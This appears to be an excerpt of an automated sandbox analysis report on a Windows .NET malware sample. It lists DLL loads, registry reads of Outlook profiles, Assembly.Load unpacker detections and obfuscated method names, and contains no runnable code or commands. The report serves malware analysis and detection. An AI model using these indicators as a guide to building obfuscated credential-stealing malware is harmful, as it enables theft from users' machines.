Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Section loaded: dpapi.dll	Jump to behavior

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0EE7644B-1BAD-48B1-9889-0281C206EB85}\InprocServer32

Jump to behavior

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe

File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll

Jump to behavior

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676

Jump to behavior

Source: SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR

Source: SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source: SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source:	Binary string: JcWm.pdb source: SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe
Source:	Binary string: JcWm.pdbSHA256 source: SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe

Data Obfuscation

.NET source code contains potential unpacker

Source: SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe, Form4.cs	.Net Code: InitializeComponent System.Reflection.Assembly.Load(byte[])
Source: 0.2.SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe.bac0000.4.raw.unpack, eUt9fLwjWkj1AUhmiI.cs	.Net Code: YRamDpFUrd System.Reflection.Assembly.Load(byte[])
Source: 0.2.SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe.7a50000.3.raw.unpack, RK.cs	.Net Code: _206F_200B_206F_206E_200F_206F_200F_202A_200D_200F_200F_202B_206F_200B_200B_200C_200B_200B_200E_206C_200F_206E_200E_206A_200F_200B_206B_206F_200F_206E_200F_200F_206D_206C_202C_202D_206F_202D_200B_202C_202E System.Reflection.Assembly.Load(byte[])
Source: 0.2.SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe.4a87c30.1.raw.unpack, eUt9fLwjWkj1AUhmiI.cs	.Net Code: YRamDpFUrd System.Reflection.Assembly.Load(byte[])
Source: 0.2.SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe.4a23810.0.raw.unpack, eUt9fLwjWkj1AUhmiI.cs	.Net Code: YRamDpFUrd System.Reflection.Assembly.Load(byte[])

Source: SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe

Static PE information: 0x83F4679B [Sun Feb 26 01:30:03 2040 UTC]

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Code function: 0_2_073F85E7 pushad ; iretd		0_2_073F861D
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Code function: 2_2_06587EFA push es; ret		2_2_06587F4C

Source: 0.2.SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe.bac0000.4.raw.unpack, zXTubc3YQxbcSwuOcE.cs	High entropy of concatenated method names: 'cxVF0AnqgI', 'IsCFtxPpTT', 'FNPuWErgZf', 'UdUuPDZ44F', 'mPiFTqC01E', 'OpeFUBqlhy', 'xAvFZBL8A0', 'HxEFK5RR4A', 'yNtFAhlNpD', 'oAkFHVeByX'
Source: 0.2.SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe.bac0000.4.raw.unpack, OkjaSkXV1k1G9Tl40W.cs	High entropy of concatenated method names: 'Dispose', 'OEBP6yAv7N', 'KyqEJoXH9J', 'hwFmMa5ANG', 'OisPtP94ns', 'WT2Pz4SuVT', 'ProcessDialogKey', 'MXmEWMT0J3', 'QgiEPXLqyn', 'HUkEEF2bp7'
Source: 0.2.SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe.bac0000.4.raw.unpack, qNIhJMPP6B0Mjy4dN8o.cs	High entropy of concatenated method names: 'kW45thpJyc', 'oRX5z7xWQS', 'w1IbWPqX2S', 'iwgbPkpoP9', 'ARFbEqvT4v', 'BgjbcJga86', 'NNdbmK6T3F', 'gdybxOy5EQ', 'gTRbR5iNv9', 'CF2bXYCxJZ'
Source: 0.2.SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe.bac0000.4.raw.unpack, D7ro6JKJLJp5QOZDAc.cs	High entropy of concatenated method names: 'VCRk45aEfV', 'CKRkUf4NLo', 'IwqkKu2WgX', 'v11kAcgnHF', 'PmDkJlhJZg', 'oNAkdgPdeV', 'x0Mk7RlBs7', 'GvEksJUxM2', 'NaIkBgpvxA', 'yu7kvy076T'
Source: 0.2.SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe.bac0000.4.raw.unpack, rgk38OIEVEQ49sPsPw.cs	High entropy of concatenated method names: 'Xp298rQ57I', 'WCF9ew2xy1', 'TvZ9LhgGBh', 'CLP9I1Fjs1', 'VJO9k1PRnI', 'WRY9MaeXJA', 'rpL9F1EAaF', 'iyt9u3hlEW', 'X959nS83gj', 'KMJ95RKHwT'
Source: 0.2.SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe.bac0000.4.raw.unpack, q2bp7LtAgBed0lPVlX.cs	High entropy of concatenated method names: 'xnf59a5EZj', 'pT05QiBRcP', 'pjp5YMFPxJ', 'jyP5fEygDR', 'qTI5nbAqg3', 'tua5wCqmcr', 'Next', 'Next', 'Next', 'NextBytes'
Source: 0.2.SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe.bac0000.4.raw.unpack, lciODPiccTEByAv7NT.cs	High entropy of concatenated method names: 'qGrnkBIAwu', 'uoSnFbR6ii', 'EHxnnYRXgX', 'NKMnbqx3ct', 'rUdnVpejkL', 'nbvngst2fR', 'Dispose', 'MSwuRd6X0D', 'RHeuX1f6kn', 'vrmu96jfSA'
Source: 0.2.SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe.bac0000.4.raw.unpack, wlpCX9SpL7SJsG3Fbi.cs	High entropy of concatenated method names: 'HgWQGS1GxW', 'KP1QCm3KEq', 'rqg9da7Cnc', 'QVl97Nwc0h', 'LBr9spm2hU', 's249BAtnUc', 'NCw9vu3DUJ', 'hLx9qJmJ0Q', 'mYY9oEjT7J', 'lde940pNWQ'
Source: 0.2.SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe.bac0000.4.raw.unpack, kHW4FbHrVn2AysCQ9a.cs	High entropy of concatenated method names: 'ToString', 'RuJMTRCwel', 'wOxMJxiMQD', 'XsRMdTRUyL', 'r7pM7H0SSj', 'lGwMsB6UmX', 'vXxMBswkcX', 'AlfMv8vPc7', 'f4vMqWu6W1', 'veAMoidOaX'
Source: 0.2.SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe.bac0000.4.raw.unpack, CdQvh4O7Z6pfePBZT0.cs	High entropy of concatenated method names: 'FXFYxZ4L1N', 'MrnYXQ3V71', 'AheYQqW1c8', 'rUNYfdWKKU', 'bQYYwSxoyR', 'Fs5QjqBb0a', 'rsvQ3jJOHi', 'I7OQigVAKc', 'tSgQ06kyEe', 'wa7Q6ma0XA'
Source: 0.2.SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe.bac0000.4.raw.unpack, ATAGlw9SUHwC2R98pA.cs	High entropy of concatenated method names: 'EditValue', 'GetEditStyle', 'FrVE6ThqiS', 'RkjEtjq38G', 'vQyEzDdxIw', 'byscW7UNnp', 'jYIcPghGPP', 'MTwcE33hha', 'PolccDG5Ek', 'JdQfijIvxLAaf7RXCE9'
Source: 0.2.SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe.bac0000.4.raw.unpack, fyBtbXPWXOfVSu7ZrNH.cs	High entropy of concatenated method names: 'CanConvertFrom', 'ConvertFrom', 'ConvertTo', 'Hni5T8UYs5', 'Ioy5U62yPg', 'X4W5ZREAny', 'qkd5KA2DcR', 'zVl5ATlQNb', 'hmw5HlPlsp', 'HC55rUD6W3'
Source: 0.2.SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe.bac0000.4.raw.unpack, Uuww7pzrU84TDjJpUY.cs	High entropy of concatenated method names: 'a0v5eSml9w', 'JKf5LHTe3L', 'fyN5IRPdWT', 'egC5OCQ8om', 'e1O5JVj9Z8', 'N7i57kyL4u', 'ynx5stYL8K', 'M1B5gCu968', 'eUi5NAjJib', 'Clt5l9KN8K'
Source: 0.2.SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe.bac0000.4.raw.unpack, aIX1qIETMNK3xPX90S.cs	High entropy of concatenated method names: 'nH6DXtiL6', 'WRy8HFYvP', 'kNkeg8JH5', 'vowCbRxQ2', 's2QIEXIr4', 'bjQS9DxDj', 'zpB0rcuXEeIiQi7OFt', 'YvTTm3EOmOCHesxZ7L', 'dXuuWaxI0', 'sdK5Giegh'
Source: 0.2.SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe.bac0000.4.raw.unpack, eUt9fLwjWkj1AUhmiI.cs	High entropy of concatenated method names: 'tGncxWU0s4', 'kVicRIhMrE', 'wEccX0ByvV', 'enEc9ALiC2', 'qptcQWokee', 'm0kcYWJ6o8', 'hOAcfYu2Pi', 'U4QcwK13EC', 'aowcpscaxp', 'ioMc2JTyJu'
Source: 0.2.SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe.bac0000.4.raw.unpack, yR4vm3ZHQAhJYyhB1q.cs	High entropy of concatenated method names: 'i0ihLyPxkQ', 'AkZhIIpepd', 'O6fhOGosQg', 'MdqhJOZuxe', 'iKih75lf7u', 'TMyhsZ95gN', 'z13hvh9PHx', 'emwhqR7Y0g', 'qWoh42D30A', 'QBlhT4HU71'
Source: 0.2.SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe.bac0000.4.raw.unpack, dMT0J36KgiXLqyndUk.cs	High entropy of concatenated method names: 'wDCnO7mkhF', 'SQ2nJDvVLY', 'zHDndIvagV', 'o0Nn7a3xHf', 'p11nsxbRHX', 'KRinB3jFBR', 'SpUnvYHqhj', 'a28nqwXnPy', 'e1anoPFi5y', 'fvEn4jALXD'
Source: 0.2.SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe.bac0000.4.raw.unpack, s387lUPm2nPWXeDq5xs.cs	High entropy of concatenated method names: 'CanConvertFrom', 'ConvertFrom', 'ConvertTo', 'oZQyn64gIV', 'l5ty5oGoPL', 'qZRybhqqQY', 'b4cyyTXWwq', 'k9ByVSRBm7', 'ycyy1tkHVF', 'trKygSEFud'
Source: 0.2.SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe.bac0000.4.raw.unpack, ykPq5omwCQe1PnGFFW.cs	High entropy of concatenated method names: 'xSnPfCesRo', 'hfdPwy7v4N', 'FEVP2EQ49s', 'bsPPawglpC', 'B3FPkbiedQ', 'Lh4PM7Z6pf', 'V4CF4q9cGfKgjQj9qi', 'u4d1fPX9JDseSKX295', 'YMsc6O4xH1SMCcfnwb', 'qaCPPKwmon'
Source: 0.2.SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe.bac0000.4.raw.unpack, YpOgcdvXpYEKdaKsxV.cs	High entropy of concatenated method names: 'IG1fRrYNds', 'eH7f9MUqT4', 'S1ufYaRHct', 'VVEYtjeVGn', 'JMsYzw5ixe', 'FfDfW8x1C9', 'NEhfPbfSXr', 'oKJfEJldnc', 'kmafcbHMws', 'WK3fmomkcW'
Source: 0.2.SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe.bac0000.4.raw.unpack, FuZBunonvZSp1ve4RB.cs	High entropy of concatenated method names: 'kPafNDcApS', 'q0oflvAPxj', 'VPXfDFhhbt', 'bGtf8wbSc5', 'cMffG5Xw49', 'hSOfeURGiH', 'gBJfC4MaOH', 'KjLfLb0IYm', 'z5efIBlVWF', 'uumfSWRIYA'
Source: 0.2.SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe.bac0000.4.raw.unpack, sCesRoL9fdy7v4Nm93.cs	High entropy of concatenated method names: 'fsZXKa0CcC', 'P5aXAw57Sq', 'Tb1XHuSTC9', 'bjRXrsoRPR', 'EH4XjL5Rse', 'DxkX39Li8h', 'CXhXi2abWx', 'QMRX0mF7i1', 'bxZX6hPnI0', 'yRZXtr4e2A'
Source: 0.2.SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe.4a87c30.1.raw.unpack, zXTubc3YQxbcSwuOcE.cs	High entropy of concatenated method names: 'cxVF0AnqgI', 'IsCFtxPpTT', 'FNPuWErgZf', 'UdUuPDZ44F', 'mPiFTqC01E', 'OpeFUBqlhy', 'xAvFZBL8A0', 'HxEFK5RR4A', 'yNtFAhlNpD', 'oAkFHVeByX'
Source: 0.2.SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe.4a87c30.1.raw.unpack, OkjaSkXV1k1G9Tl40W.cs	High entropy of concatenated method names: 'Dispose', 'OEBP6yAv7N', 'KyqEJoXH9J', 'hwFmMa5ANG', 'OisPtP94ns', 'WT2Pz4SuVT', 'ProcessDialogKey', 'MXmEWMT0J3', 'QgiEPXLqyn', 'HUkEEF2bp7'
Source: 0.2.SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe.4a87c30.1.raw.unpack, qNIhJMPP6B0Mjy4dN8o.cs	High entropy of concatenated method names: 'kW45thpJyc', 'oRX5z7xWQS', 'w1IbWPqX2S', 'iwgbPkpoP9', 'ARFbEqvT4v', 'BgjbcJga86', 'NNdbmK6T3F', 'gdybxOy5EQ', 'gTRbR5iNv9', 'CF2bXYCxJZ'
Source: 0.2.SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe.4a87c30.1.raw.unpack, D7ro6JKJLJp5QOZDAc.cs	High entropy of concatenated method names: 'VCRk45aEfV', 'CKRkUf4NLo', 'IwqkKu2WgX', 'v11kAcgnHF', 'PmDkJlhJZg', 'oNAkdgPdeV', 'x0Mk7RlBs7', 'GvEksJUxM2', 'NaIkBgpvxA', 'yu7kvy076T'
Source: 0.2.SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe.4a87c30.1.raw.unpack, rgk38OIEVEQ49sPsPw.cs	High entropy of concatenated method names: 'Xp298rQ57I', 'WCF9ew2xy1', 'TvZ9LhgGBh', 'CLP9I1Fjs1', 'VJO9k1PRnI', 'WRY9MaeXJA', 'rpL9F1EAaF', 'iyt9u3hlEW', 'X959nS83gj', 'KMJ95RKHwT'
Source: 0.2.SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe.4a87c30.1.raw.unpack, q2bp7LtAgBed0lPVlX.cs	High entropy of concatenated method names: 'xnf59a5EZj', 'pT05QiBRcP', 'pjp5YMFPxJ', 'jyP5fEygDR', 'qTI5nbAqg3', 'tua5wCqmcr', 'Next', 'Next', 'Next', 'NextBytes'
Source: 0.2.SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe.4a87c30.1.raw.unpack, lciODPiccTEByAv7NT.cs	High entropy of concatenated method names: 'qGrnkBIAwu', 'uoSnFbR6ii', 'EHxnnYRXgX', 'NKMnbqx3ct', 'rUdnVpejkL', 'nbvngst2fR', 'Dispose', 'MSwuRd6X0D', 'RHeuX1f6kn', 'vrmu96jfSA'
Source: 0.2.SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe.4a87c30.1.raw.unpack, wlpCX9SpL7SJsG3Fbi.cs	High entropy of concatenated method names: 'HgWQGS1GxW', 'KP1QCm3KEq', 'rqg9da7Cnc', 'QVl97Nwc0h', 'LBr9spm2hU', 's249BAtnUc', 'NCw9vu3DUJ', 'hLx9qJmJ0Q', 'mYY9oEjT7J', 'lde940pNWQ'
Source: 0.2.SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe.4a87c30.1.raw.unpack, kHW4FbHrVn2AysCQ9a.cs	High entropy of concatenated method names: 'ToString', 'RuJMTRCwel', 'wOxMJxiMQD', 'XsRMdTRUyL', 'r7pM7H0SSj', 'lGwMsB6UmX', 'vXxMBswkcX', 'AlfMv8vPc7', 'f4vMqWu6W1', 'veAMoidOaX'
Source: 0.2.SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe.4a87c30.1.raw.unpack, CdQvh4O7Z6pfePBZT0.cs	High entropy of concatenated method names: 'FXFYxZ4L1N', 'MrnYXQ3V71', 'AheYQqW1c8', 'rUNYfdWKKU', 'bQYYwSxoyR', 'Fs5QjqBb0a', 'rsvQ3jJOHi', 'I7OQigVAKc', 'tSgQ06kyEe', 'wa7Q6ma0XA'
Source: 0.2.SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe.4a87c30.1.raw.unpack, ATAGlw9SUHwC2R98pA.cs	High entropy of concatenated method names: 'EditValue', 'GetEditStyle', 'FrVE6ThqiS', 'RkjEtjq38G', 'vQyEzDdxIw', 'byscW7UNnp', 'jYIcPghGPP', 'MTwcE33hha', 'PolccDG5Ek', 'JdQfijIvxLAaf7RXCE9'
Source: 0.2.SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe.4a87c30.1.raw.unpack, fyBtbXPWXOfVSu7ZrNH.cs	High entropy of concatenated method names: 'CanConvertFrom', 'ConvertFrom', 'ConvertTo', 'Hni5T8UYs5', 'Ioy5U62yPg', 'X4W5ZREAny', 'qkd5KA2DcR', 'zVl5ATlQNb', 'hmw5HlPlsp', 'HC55rUD6W3'
Source: 0.2.SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe.4a87c30.1.raw.unpack, Uuww7pzrU84TDjJpUY.cs	High entropy of concatenated method names: 'a0v5eSml9w', 'JKf5LHTe3L', 'fyN5IRPdWT', 'egC5OCQ8om', 'e1O5JVj9Z8', 'N7i57kyL4u', 'ynx5stYL8K', 'M1B5gCu968', 'eUi5NAjJib', 'Clt5l9KN8K'
Source: 0.2.SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe.4a87c30.1.raw.unpack, aIX1qIETMNK3xPX90S.cs	High entropy of concatenated method names: 'nH6DXtiL6', 'WRy8HFYvP', 'kNkeg8JH5', 'vowCbRxQ2', 's2QIEXIr4', 'bjQS9DxDj', 'zpB0rcuXEeIiQi7OFt', 'YvTTm3EOmOCHesxZ7L', 'dXuuWaxI0', 'sdK5Giegh'
Source: 0.2.SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe.4a87c30.1.raw.unpack, eUt9fLwjWkj1AUhmiI.cs	High entropy of concatenated method names: 'tGncxWU0s4', 'kVicRIhMrE', 'wEccX0ByvV', 'enEc9ALiC2', 'qptcQWokee', 'm0kcYWJ6o8', 'hOAcfYu2Pi', 'U4QcwK13EC', 'aowcpscaxp', 'ioMc2JTyJu'
Source: 0.2.SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe.4a87c30.1.raw.unpack, yR4vm3ZHQAhJYyhB1q.cs	High entropy of concatenated method names: 'i0ihLyPxkQ', 'AkZhIIpepd', 'O6fhOGosQg', 'MdqhJOZuxe', 'iKih75lf7u', 'TMyhsZ95gN', 'z13hvh9PHx', 'emwhqR7Y0g', 'qWoh42D30A', 'QBlhT4HU71'
Source: 0.2.SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe.4a87c30.1.raw.unpack, dMT0J36KgiXLqyndUk.cs	High entropy of concatenated method names: 'wDCnO7mkhF', 'SQ2nJDvVLY', 'zHDndIvagV', 'o0Nn7a3xHf', 'p11nsxbRHX', 'KRinB3jFBR', 'SpUnvYHqhj', 'a28nqwXnPy', 'e1anoPFi5y', 'fvEn4jALXD'
Source: 0.2.SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe.4a87c30.1.raw.unpack, s387lUPm2nPWXeDq5xs.cs	High entropy of concatenated method names: 'CanConvertFrom', 'ConvertFrom', 'ConvertTo', 'oZQyn64gIV', 'l5ty5oGoPL', 'qZRybhqqQY', 'b4cyyTXWwq', 'k9ByVSRBm7', 'ycyy1tkHVF', 'trKygSEFud'
Source: 0.2.SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe.4a87c30.1.raw.unpack, ykPq5omwCQe1PnGFFW.cs	High entropy of concatenated method names: 'xSnPfCesRo', 'hfdPwy7v4N', 'FEVP2EQ49s', 'bsPPawglpC', 'B3FPkbiedQ', 'Lh4PM7Z6pf', 'V4CF4q9cGfKgjQj9qi', 'u4d1fPX9JDseSKX295', 'YMsc6O4xH1SMCcfnwb', 'qaCPPKwmon'
Source: 0.2.SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe.4a87c30.1.raw.unpack, YpOgcdvXpYEKdaKsxV.cs	High entropy of concatenated method names: 'IG1fRrYNds', 'eH7f9MUqT4', 'S1ufYaRHct', 'VVEYtjeVGn', 'JMsYzw5ixe', 'FfDfW8x1C9', 'NEhfPbfSXr', 'oKJfEJldnc', 'kmafcbHMws', 'WK3fmomkcW'
Source: 0.2.SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe.4a87c30.1.raw.unpack, FuZBunonvZSp1ve4RB.cs	High entropy of concatenated method names: 'kPafNDcApS', 'q0oflvAPxj', 'VPXfDFhhbt', 'bGtf8wbSc5', 'cMffG5Xw49', 'hSOfeURGiH', 'gBJfC4MaOH', 'KjLfLb0IYm', 'z5efIBlVWF', 'uumfSWRIYA'
Source: 0.2.SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe.4a87c30.1.raw.unpack, sCesRoL9fdy7v4Nm93.cs	High entropy of concatenated method names: 'fsZXKa0CcC', 'P5aXAw57Sq', 'Tb1XHuSTC9', 'bjRXrsoRPR', 'EH4XjL5Rse', 'DxkX39Li8h', 'CXhXi2abWx', 'QMRX0mF7i1', 'bxZX6hPnI0', 'yRZXtr4e2A'
Source: 0.2.SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe.4a23810.0.raw.unpack, zXTubc3YQxbcSwuOcE.cs	High entropy of concatenated method names: 'cxVF0AnqgI', 'IsCFtxPpTT', 'FNPuWErgZf', 'UdUuPDZ44F', 'mPiFTqC01E', 'OpeFUBqlhy', 'xAvFZBL8A0', 'HxEFK5RR4A', 'yNtFAhlNpD', 'oAkFHVeByX'
Source: 0.2.SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe.4a23810.0.raw.unpack, OkjaSkXV1k1G9Tl40W.cs	High entropy of concatenated method names: 'Dispose', 'OEBP6yAv7N', 'KyqEJoXH9J', 'hwFmMa5ANG', 'OisPtP94ns', 'WT2Pz4SuVT', 'ProcessDialogKey', 'MXmEWMT0J3', 'QgiEPXLqyn', 'HUkEEF2bp7'
Source: 0.2.SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe.4a23810.0.raw.unpack, qNIhJMPP6B0Mjy4dN8o.cs	High entropy of concatenated method names: 'kW45thpJyc', 'oRX5z7xWQS', 'w1IbWPqX2S', 'iwgbPkpoP9', 'ARFbEqvT4v', 'BgjbcJga86', 'NNdbmK6T3F', 'gdybxOy5EQ', 'gTRbR5iNv9', 'CF2bXYCxJZ'
Source: 0.2.SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe.4a23810.0.raw.unpack, D7ro6JKJLJp5QOZDAc.cs	High entropy of concatenated method names: 'VCRk45aEfV', 'CKRkUf4NLo', 'IwqkKu2WgX', 'v11kAcgnHF', 'PmDkJlhJZg', 'oNAkdgPdeV', 'x0Mk7RlBs7', 'GvEksJUxM2', 'NaIkBgpvxA', 'yu7kvy076T'
Source: 0.2.SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe.4a23810.0.raw.unpack, rgk38OIEVEQ49sPsPw.cs	High entropy of concatenated method names: 'Xp298rQ57I', 'WCF9ew2xy1', 'TvZ9LhgGBh', 'CLP9I1Fjs1', 'VJO9k1PRnI', 'WRY9MaeXJA', 'rpL9F1EAaF', 'iyt9u3hlEW', 'X959nS83gj', 'KMJ95RKHwT'
Source: 0.2.SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe.4a23810.0.raw.unpack, q2bp7LtAgBed0lPVlX.cs	High entropy of concatenated method names: 'xnf59a5EZj', 'pT05QiBRcP', 'pjp5YMFPxJ', 'jyP5fEygDR', 'qTI5nbAqg3', 'tua5wCqmcr', 'Next', 'Next', 'Next', 'NextBytes'
Source: 0.2.SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe.4a23810.0.raw.unpack, lciODPiccTEByAv7NT.cs	High entropy of concatenated method names: 'qGrnkBIAwu', 'uoSnFbR6ii', 'EHxnnYRXgX', 'NKMnbqx3ct', 'rUdnVpejkL', 'nbvngst2fR', 'Dispose', 'MSwuRd6X0D', 'RHeuX1f6kn', 'vrmu96jfSA'
Source: 0.2.SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe.4a23810.0.raw.unpack, wlpCX9SpL7SJsG3Fbi.cs	High entropy of concatenated method names: 'HgWQGS1GxW', 'KP1QCm3KEq', 'rqg9da7Cnc', 'QVl97Nwc0h', 'LBr9spm2hU', 's249BAtnUc', 'NCw9vu3DUJ', 'hLx9qJmJ0Q', 'mYY9oEjT7J', 'lde940pNWQ'
Source: 0.2.SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe.4a23810.0.raw.unpack, kHW4FbHrVn2AysCQ9a.cs	High entropy of concatenated method names: 'ToString', 'RuJMTRCwel', 'wOxMJxiMQD', 'XsRMdTRUyL', 'r7pM7H0SSj', 'lGwMsB6UmX', 'vXxMBswkcX', 'AlfMv8vPc7', 'f4vMqWu6W1', 'veAMoidOaX'
Source: 0.2.SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe.4a23810.0.raw.unpack, CdQvh4O7Z6pfePBZT0.cs	High entropy of concatenated method names: 'FXFYxZ4L1N', 'MrnYXQ3V71', 'AheYQqW1c8', 'rUNYfdWKKU', 'bQYYwSxoyR', 'Fs5QjqBb0a', 'rsvQ3jJOHi', 'I7OQigVAKc', 'tSgQ06kyEe', 'wa7Q6ma0XA'
Source: 0.2.SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe.4a23810.0.raw.unpack, ATAGlw9SUHwC2R98pA.cs	High entropy of concatenated method names: 'EditValue', 'GetEditStyle', 'FrVE6ThqiS', 'RkjEtjq38G', 'vQyEzDdxIw', 'byscW7UNnp', 'jYIcPghGPP', 'MTwcE33hha', 'PolccDG5Ek', 'JdQfijIvxLAaf7RXCE9'
Source: 0.2.SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe.4a23810.0.raw.unpack, fyBtbXPWXOfVSu7ZrNH.cs	High entropy of concatenated method names: 'CanConvertFrom', 'ConvertFrom', 'ConvertTo', 'Hni5T8UYs5', 'Ioy5U62yPg', 'X4W5ZREAny', 'qkd5KA2DcR', 'zVl5ATlQNb', 'hmw5HlPlsp', 'HC55rUD6W3'
Source: 0.2.SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe.4a23810.0.raw.unpack, Uuww7pzrU84TDjJpUY.cs	High entropy of concatenated method names: 'a0v5eSml9w', 'JKf5LHTe3L', 'fyN5IRPdWT', 'egC5OCQ8om', 'e1O5JVj9Z8', 'N7i57kyL4u', 'ynx5stYL8K', 'M1B5gCu968', 'eUi5NAjJib', 'Clt5l9KN8K'
Source: 0.2.SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe.4a23810.0.raw.unpack, aIX1qIETMNK3xPX90S.cs	High entropy of concatenated method names: 'nH6DXtiL6', 'WRy8HFYvP', 'kNkeg8JH5', 'vowCbRxQ2', 's2QIEXIr4', 'bjQS9DxDj', 'zpB0rcuXEeIiQi7OFt', 'YvTTm3EOmOCHesxZ7L', 'dXuuWaxI0', 'sdK5Giegh'
Source: 0.2.SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe.4a23810.0.raw.unpack, eUt9fLwjWkj1AUhmiI.cs	High entropy of concatenated method names: 'tGncxWU0s4', 'kVicRIhMrE', 'wEccX0ByvV', 'enEc9ALiC2', 'qptcQWokee', 'm0kcYWJ6o8', 'hOAcfYu2Pi', 'U4QcwK13EC', 'aowcpscaxp', 'ioMc2JTyJu'
Source: 0.2.SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe.4a23810.0.raw.unpack, yR4vm3ZHQAhJYyhB1q.cs	High entropy of concatenated method names: 'i0ihLyPxkQ', 'AkZhIIpepd', 'O6fhOGosQg', 'MdqhJOZuxe', 'iKih75lf7u', 'TMyhsZ95gN', 'z13hvh9PHx', 'emwhqR7Y0g', 'qWoh42D30A', 'QBlhT4HU71'
